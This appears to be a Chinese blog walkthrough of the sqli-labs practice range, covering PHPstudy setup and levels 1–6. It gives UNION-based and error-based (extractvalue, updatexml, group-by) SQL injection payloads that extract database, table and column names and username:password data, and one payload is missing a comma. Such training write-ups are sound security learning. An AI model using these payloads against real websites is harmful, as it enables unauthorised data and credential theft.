sql-lab靶场初级

1.配置环境(PHPstudy)

①打开PHPstudy新建网站

②需要注意修改php版本和端口(不能重复),否则会报错③将含有sql题目的文件放到此目录下

④打开本地网站,进入该页面 ⑤如出现下页面则说明配置完成,开始做题了!

二、sql题目

提示:在URL编码中的符号
(%20)(+) =   空格

(%27)  =   ' 

(0x3a)(0x)为十六进制标志,3a是ASCII中的 :(冒号)

--    单行注释(--后必须加一个空格,否则无法起到注释作用)

#    单行注释

/**/ 多行注释

1、1-4题(联合查询)

①通过联合查询判断注入点

我们由报错信息可知,‘是异常位置并提示’位置

令id为不存在的值,利用联合查询依次查询数据库名称,表名,字段,和敏感数据

-- 数据库名称
?id=-1' union select 1,2 database()

-- 表名
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

-- 各字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

-- 查询敏感数据
?id=-1' union select 1,2,group_concat(username,0x3a,password) from users --+

同理可做2,3,4

原理就是通过报错信息判断该漏洞类型是否为“可联合查询注入”

当查询数据会返回显示界面时可以考虑使用union联合查询的方式

联合查询有两个必要条件:

  • 两张虚拟表具有相同的列数
  • 两张虚拟表对应列的数据类型相同

当可以使用联合查询时,基本步骤为:猜测虚拟表列数->获取数据库名->获取表名->获取列名->获取数据

1、5-6题(联合查询)

继续使用联合查询我们发现内容不会返回显示界面

于是我猜测这是一个报错注入 ,我查询当前版本的报错函数并进行尝试,得到以下结果

之后我查询到以下内容并确定这是一个报错型注入

基于错误的注入:当输入特殊字符页面出现报错信息时则可以考虑使用基于错误的注入

xpath报错
(1) http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and extractvalue(1,concat(user(),0x7e,version()))–+
(2)http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and updatexml(1,concat(user(),0x7e,database(),0x7e,version()),1)–+

group by 报错
http://192.168.254.132/sqli-labs/Less-1/?id=-1’ and (select 1 from (select count(*),concat((select concat(username,password) from users limit 0,1),floor(rand(0)*2)) x from information_schema.tables group by x) a )–+

通过extractvalue函数得知数据库名称,之后的步骤与联合查询类似,但使用的sql语句不同

由于回显长度有限,只能用limit分段获取,首先需要查询有几个数据

查到有13个数据,用limit分段获取

分别为0,1  1,1  2,1 以此类推

-- 数据库名称
?id=1' and extractvalue(1,concat(0,(select database()))) --+


-- 表名
?id=1 ' and extractvalue(1,concat(0,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) --+


-- 列名
?id=1 ' and extractvalue(1,concat(0,( select column_name from information_schema.columns where table_schema =database() and table_name='users' limit 0,1 ))) --+


-- 数据
?id=1 ' and extractvalue(1,concat(0,( select concat(id,0x7e,username,password) from users limit 0,1))) --+

第六题同理

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

枫糖丶

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值